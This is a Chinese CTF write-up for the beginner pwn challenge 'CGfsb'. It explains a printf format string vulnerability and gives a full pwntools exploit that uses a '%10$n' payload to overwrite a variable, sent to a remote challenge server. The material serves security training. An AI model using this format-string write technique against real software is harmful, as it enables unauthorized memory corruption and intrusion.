CGfsb

作者: 常向阳_ | 来源:发表于2019-08-05 17:04 被阅读0次
image.png

0x00 先file和checksec(打码打码,看不到看不到)

image.png

0x01 拖进ida32查看

image.png
  • 明显的printf格式化字符串漏洞
  • 分析程序,pwnme=8即可拿到flag
  • 这时候思路就有了,查看pwnme的地址为0x0804A068,利用printf格式化字符串漏洞addr+%N$n修改任意地址的值,其中%N$n是以printf第N+1个参数位置的值为地址(printf中格式化字符串是第0个参数),将输出过的字符数量的值写入这个地址中

0x02 下断点在第二个printf处,输入AAAA

image.png

0x03 调试程序到第二个printf处,查看此时stack情况

image.png
  • 0xffffd0d8为格式化字符串的地址
  • 0x41414141是printf的第11个参数位置,相对格式化字符串为第10个位置
  • 所以上述的N为10

0x04 给出完整exp

主体在if __name__ == '__main__':中,其它都是模板,个人喜好而已,直接套用就行

from pwn import *

local=0
pc='./cgfsb'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 39802]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    payload1 = 'cxy'
    pwnme = 0x0804A068
    payload2 = p32(pwnme) + 'aaaa'
    payload2 += '%10$n'
    rl()
    sl(payload1)
    rl()
    sl(payload2)
    rl()
    p.interactive()

0x05 结果

image.png

相关文章

  • CGfsb

    0x00 先file和checksec(打码打码,看不到看不到) 0x01 拖进ida32查看 明显的print...

  • CGfsb wp

    这道题题目看起来我就懵了,菜鸡不知道printf还有什么用......emmm我不就是那个菜鸡吗?然后我选择百度p...

  • 02_cgfsb

  • adworld pwn 题解

    新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...

  • 新手练习02-CGfsb

    格式化字符串修改任意地址的值,首先找偏移 偏移为10,接下来就可以修改pwnme的值为8exp:

  • 攻防世界 Pwn wp

    0x01get_shell 下载附件后直接丢IDA F5 0x02CGfsb 先用checksec查看开了哪些保护...

  • 攻防世界新手练习pwn

    0x00 get_shell 0x01 CGfsb 首先检查保护 nc连接输入信息为aaaa加很多个控制字符发现p...

网友评论

    本文标题:CGfsb

    本文链接:https://www.haomeiwen.com/subject/ogomdctx.html